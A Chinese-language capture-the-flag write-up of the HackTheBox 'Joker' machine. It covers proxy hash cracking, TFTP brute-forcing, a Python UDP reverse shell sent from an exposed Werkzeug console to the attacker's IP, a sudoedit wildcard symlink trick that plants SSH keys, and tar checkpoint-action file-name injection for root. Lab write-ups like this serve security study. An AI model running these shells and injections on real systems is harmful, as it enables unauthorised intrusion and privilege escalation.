导语:这次的挑战题目可能是我在HackTheBox上遇到的第一个比较困难的环境。其他大部分的东西,我都能够很快的完成其中的大部分。强烈推荐这一个挑战题目。

这次的挑战题目可能是我在HackTheBox上遇到的第一个比较困难的环境。其他大部分的东西,我都能够很快的完成其中的大部分。强烈推荐这一个挑战题目。

初始的枚举

先启动一个快速的nmap扫描吧。

[email protected]:~/htb/joker# nmap -sV 10.10.10.21
Nmap scan report for joker (10.10.10.21)
Host is up (0.066s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open  http-proxy Squid http proxy 3.5.12
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SSH通常不是很有趣,除非它是一个严重过时的版本,所以让我们看看端口3128,这似乎是一个Squid代理。让我们尝试通过浏览器通过代理,看看我们能得到什么。

joker-proxysetup.png

在退出设置后浏览器立即提示了我们一些信息:

joker-proxyauth.png

我尝试了一些简单的密码,但运气不是很好,没有猜解出来。还有一个NMAP NSE脚本http-proxy-bruteforce,它会试图爆破密码,也没有成功。

让我们重新运行nmap搜索所有的TCP端口,让我们做一个基本的UDP扫描,看看是否有其他端口打开。

[email protected]:~/htb/joker# nmap -sU 10.10.10.21
Starting Nmap 7.50 ( https://nmap.org ) at 2017-12-29 14:46 EST
Initiating Ping Scan at 14:46
Scanning 10.10.10.21 [4 ports]
Completed Ping Scan at 14:46, 0.23s elapsed (1 total hosts)
Initiating UDP Scan at 14:46
Host is up (0.067s latency).
Not shown: 998 closed ports
PORT     STATE         SERVICE
69/udp   open|filtered tftp
5355/udp open|filtered llmnr

UDP扫描返回TFTP服务在端口69上打开。由于无法在TFTP服务器中列出文件,因此查找文件的唯一方法是对文件进行暴力破解。幸运的是,Metasploit有一个模块可以帮我们做到这一点。

msf > use auxiliary/scanner/tftp/tftpbrute
msf auxiliary(tftpbrute) > show options
Module options (auxiliary/scanner/tftp/tftpbrute):
   Name        Current Setting                                          Required  Description
   ----        ---------------                                          --------  -----------
   CHOST                                                                no        The local client address
   DICTIONARY  /usr/share/metasploit-framework/data/wordlists/tftp.txt  yes       The list of filenames
   RHOSTS                                                               yes       The target address range or CIDR identifier
   RPORT       69                                                       yes       The target port
   THREADS     1                                                        yes       The number of concurrent threads
msf auxiliary(tftpbrute) > set RHOSTS 10.10.10.21
RHOSTS => 10.10.10.21
msf auxiliary(tftpbrute) > set DICTIONARY /usr/share/wordlists/dirb/common.txt
DICTIONARY => /usr/share/wordlists/dirb/common.txt
msf auxiliary(tftpbrute) > run
[*] Found passwords on 10.10.10.21
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

我们加载tftpbrute模块,查看我们的选项,将RHOSTS设置为joker的IP,并设置我们自己的字典文件。我们看到在运行一分钟之后,我们得到了一个密码的哈希,太棒了!让我们从tftp中看看里面有什么。

[email protected]:~/htb/joker# tftp 10.10.10.21
tftp> get passwords
Received 48 bytes in 0.0 seconds
tftp> quit
[email protected]:~/htb/joker# cat passwords
kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0

现在,我们有一个似乎是代理用户的散列。继续看看需要将什么样的散列输入到hashcat中。

[email protected]:~/htb/joker# hash-identifier
   #########################################################################
   #	 __  __ 		    __		 ______    _____	   #
   #	/\ \/\ \		   /\ \ 	/\__  _\  /\  _ `\	   #
   #	\ \ \_\ \     __      ____ \ \ \___	\/_/\ \/  \ \ \/\ \	   #
   #	 \ \  _  \  /'__`\   / ,__\ \ \  _ `\	   \ \ \   \ \ \ \ \	   #
   #	  \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \	    \_\ \__ \ \ \_\ \	   #
   #	   \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/	   #
   #	    \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #								 By Zion3R #
   #							www.Blackploit.com #
   #						       [email protected] #
   #########################################################################
   -------------------------------------------------------------------------
 HASH: $apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0
Possible Hashs:
[+]  MD5(APR)

我直接在Windows机器上运行hashcat,有一些解决方法让它在Kali中运行,但即使如此,我也不相信可以将主机GPU传递到虚拟机中。下载hashcat并在Windows上运行exe是非常容易的。

让我们运行hashcat,看看我们能否找到MD5(APR)的选项,并破解哈希。

C:\hashcat-3.5.0> .\hashcat64.exe --help | findstr apr
   1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)            | HTTP, SMTP, LDAP Server
C:\hashcat-3.5.0> .\hashcat64.exe -m 1600 -a 0 -o crackedjoker .\jokerhash.txt .\rockyou.txt
hashcat (v3.5.0) starting...
...
Output Truncated
...
C:\hashcat-3.5.0> type .\crackedjoker
$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0:ihateseafood

现在,我们有了用户kalamari 的密码ihateseafood。打开浏览器之前提示我们登录的页面,输入本地主机或127.0.0.1输入我们新发现的凭证后,我们会看到一个网页。

joker-shorty.png

摆弄网页后,似乎没有太多可以做的事情。让我们看看使用dirb是否可以找到任何其他网页。

[email protected]:~/htb/joker# dirb http://127.0.0.1 -p 10.10.10.21:3128 -P kalamari:ihateseafood -r
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Fri Dec 29 15:27:52 2017
URL_BASE: http://127.0.0.1/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
PROXY: 10.10.10.21:3128
PROXY AUTHORIZATION: kalamari:ihateseafood
OPTION: Not Recursive
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://127.0.0.1/ ----
+ http://127.0.0.1/console (CODE:200|SIZE:1479)                                     
==> DIRECTORY: http://127.0.0.1/list/                       
-----------------
END_TIME: Fri Dec 29 15:33:08 2017
DOWNLOADED: 4612 - FOUND: 1

看起来我们已经找到了一个python控制台。让我们开始工作吧。

joker-console.png

漏洞利用

在这里有几种不同的运行命令的方法,注意这个控制台是单线程的,如果你以某种方式运行命令,如果其他人正在使用它,它将锁定控制台。现在这个环境已经过时了,但是在运行命令的时候应该使用subprocess这个方法。让我们验证命令执行。

[console ready]
>>> import subprocess
>>> subprocess.check_output(['id'])
'uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)\n'

我试过一个普通的Python 反向Shell,但没有得到响应。也不能通过wget下载文件。看起来是防火墙阻止了我们的连接。我们找到位于/etc/iptables/rules.v4的iptables规则。

>>> subprocess.check_output(['cat','/etc/iptables/rules.v4'])
'# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017\n*filter\n:INPUT DROP [41573:1829596]\n:FORWARD ACCEPT [0:0]\n:OUTPUT ACCEPT [878:221932]\n-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT\n-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT\n-A INPUT -i ens33 -p udp -j ACCEPT\n-A INPUT -i ens33 -p icmp -j ACCEPT\n-A INPUT -i lo -j ACCEPT\n-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP\nCOMMIT\n# Completed on Fri May 19 18:01:16 2017\n'

我们来格式化一下输出的规则内容。

# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017
*filter
:INPUT DROP [41573:1829596]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [878:221932]
-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT
-A INPUT -i ens33 -p udp -j ACCEPT
-A INPUT -i ens33 -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP
COMMIT
# Completed on Fri May 19 18:01:16 2017

好的,在这里我们可以看到OUTPUT,任何新的出站TCP连接都被明确地丢弃。那么我们要得到shell还有其他办法么?可能只是恰巧,有人已经在这里发布了一个 Python 版本的UDP反向Shell。在遇到这个环境之前,我甚至不知道还有这种操作。

我们将无法使用netcat来捕获一个UDP Shell,所以我们必须在python脚本中使用socat。在设置我们的监听器之后,我们在控制台中运行我们的shell。

>>> import subprocess
>>> subprocess.Popen(["python", "-c", 'import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect(("10.10.14.10", 100)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv("HISTFILE","/dev/null"); pty.spawn("/bin/bash"); s.close();'])
<subprocess.Popen object at 0x7fbf709745d0>
kali:~/htb/joker# socat file:`tty`,echo=0,raw  udp-listen:100
[email protected]:~$ id
uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)

养成继续前进的习惯是一件好事,产生一个shell后就会产生一个tty。让我们在这里用python来做一些事情。

[email protected]:~$ python -c 'import pty; pty.spawn("/bin/bash")'

特权升级

不幸的是,我们无法读取alekos主目录下的user.txt Flag文件,因此我们需要先进行权限升级。让我们来看看我们当前的用户是否有任何sudo权限。

[email protected]:/home/alekos$ sudo -l
Matching Defaults entries for werkzeug on joker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    sudoedit_follow, !sudoedit_checkdir
 
User werkzeug may run the following commands on joker:
    (alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html

编辑一个layout.html文件对我们没有多大帮助,但星号看起来很有趣,可能有一种方法可以利用这些通配符。恰恰是我们所能做到的。

https://www.exploit-db.com/exploits/37710/

在上面的链接的漏洞利用中,他们解释说,如果通配符被使用两次,sudoedit不会检查完整路径。因此,为了利用这一点,他们创建了一个指向/etc/shadow的符号链接。这样做对我们来说不会真的有效,因为我们只具有作为alekos的sudoedit权限而不是root。因此,我们可以做的是创建一个符号链接到alekos 的ssh授权密钥文件,并编辑文件添加到我们的公共ssh密钥。

首先我们需要在下面创建一个目录/var/www/,让我们来检查权限。

[email protected]:/home/alekos$ cd /var/www
[email protected]:~$ ls -al
total 20
drwxr-xr-x  4 root     root     4096 May 18  2017 .
drwxr-xr-x 14 root     root     4096 Oct 23  2016 ..
-rwxr-x---  1 root     werkzeug  581 May 18  2017 manage-shorty.py
drwxr-x---  5 root     werkzeug 4096 May 18  2017 shorty
drwxr-xr-x  2 werkzeug werkzeug 4096 May 18  2017 testing

看起来测试目录能够很好地工作。

[email protected]:~$ cd testing
[email protected]:~/testing$ ls
layout.html

原来的layout.html是由sudoedit编辑的。我们需要在这里创建另一个目录来利用第二个通配符。然后创建我们的符号链接。

[email protected]:~/testing$ mkdir test
[email protected]:~/testing$ cd test
[email protected]:~/testing/test$ ln -s /home/alekos/.ssh/authorized_keys layout.html
[email protected]:~/testing/test$ ls -al
total 8
drwxrwxr-x 2 werkzeug werkzeug 4096 Dec 31 01:02 .
drwxr-xr-x 3 werkzeug werkzeug 4096 Dec 31 01:01 ..
lrwxrwxrwx 1 werkzeug werkzeug   33 Dec 31 01:02 layout.html -> /home/alekos/.ssh/authorized_keys

我们的符号链接已经到位。让我们编辑并把我们的公共ssh密钥写入进去。

[email protected]:/$ sudoedit -u alekos /var/www/testing/test/layout.html

现在我们就可以像alekos一样通过ssh登录了。

[email protected]:~/htb/joker# ssh [email protected]
Welcome to Ubuntu 16.10 (GNU/Linux 4.8.0-52-generic x86_64)
 
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
 
0 packages can be updated.
0 updates are security updates.
 
 
Last login: Sat May 20 16:38:08 2017 from 10.10.13.210
[email protected]:~$

现在我们可以读取user.txt Flag文件了。

第二次特权升级

我们已经经历了不少的障碍,但由于我们还没有获得root 权限的 shell。服务器上面的alekos的主目录是两个有趣的目录,development和backup。backup是一个备份文件夹,development中包含了基于时间戳每5分钟运行的文件夹。我们也可以看到tar文件是由root所拥有的。

[email protected]:~$ ls -al
total 116
drwxr-xr-x 7 alekos alekos  4096 May 19  2017 .
drwxr-xr-x 3 root   root    4096 May 16  2017 ..
drwxrwx--- 2 root   alekos 73728 Dec 31 01:20 backup
-rw------- 1 root   root       0 May 17  2017 .bash_history
-rw-r--r-- 1 alekos alekos   220 May 16  2017 .bash_logout
-rw-r--r-- 1 alekos alekos  3771 May 16  2017 .bashrc
drwx------ 2 alekos alekos  4096 May 17  2017 .cache
drwxr-x--- 5 alekos alekos  4096 May 18  2017 development
drwxr-xr-x 2 alekos alekos  4096 May 17  2017 .nano
-rw-r--r-- 1 alekos alekos   655 May 16  2017 .profile
drwxr-xr-x 2 alekos alekos  4096 May 20  2017 .ssh
-r--r----- 1 root   alekos    33 May 19  2017 user.txt
[email protected]:~$ cd backup
[email protected]:~/backup$ ls -al
total 67640
drwxrwx--- 2 root   alekos 73728 Dec 31 01:20 .
drwxr-xr-x 7 alekos alekos  4096 May 19  2017 ..
-rw-r----- 1 root   alekos 40960 Dec 25 04:25 dev-1514168701.tar.gz
-rw-r----- 1 root   alekos 40960 Dec 25 04:30 dev-1514169001.tar.gz
-rw-r----- 1 root   alekos 40960 Dec 25 04:35 dev-1514169301.tar.gz
-rw-r----- 1 root   alekos 40960 Dec 25 04:40 dev-1514169601.tar.gz
-rw-r----- 1 root   alekos 40960 Dec 25 04:45 dev-1514169901.tar.gz

在检查cron计划任务之后,没有发现正在运行这些备份的信号。经过一段时间的思考之后,无论是运行备份,似乎都可能运行类似的东西tar cf *。还有一个我们可以利用的通配符。之前在Vulnhub的环境上,我碰到过这个问题。

有关如何操作的详细说明,请点击此处

简单的解释就是我们可以将选项和参数注入到通过命名带有这些选项/参数的文件运行的tar命令中。通配符将把文件名处理为实际的命令行选项并运行它们。

我们将要使用的选项是–checkpoint和–checkpoint-action。使用tar,你可以指定检查点和一个将在每个检查点运行命令的检查点操作。所以我们所要做的就是设置一个检查点操作来运行另一个python UDP shell。

让我们展示我们的Shell。

[email protected]:~/development$ nano udpshell.py
[email protected]:~/development$ chmod +x udpshell.py

创建我们的文件。请注意,你必须使用–表示命令选项的结尾,以便正确地创建文件名。

[email protected]:~/development$ touch -- --checkpoint=1
[email protected]:~/development$ touch -- '--checkpoint-action=exec=python udpshell.py'

启动我们的socat监听器,并等待计划任务运行。

[email protected]:~/htb/joker# socat file:`tty`,echo=0,raw  udp-listen:100
[email protected]:/home/alekos/development# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/home/alekos/development#

现在我们有了root shell,就可以读取root.txt Flag文件了!

源链接

Hacking more

...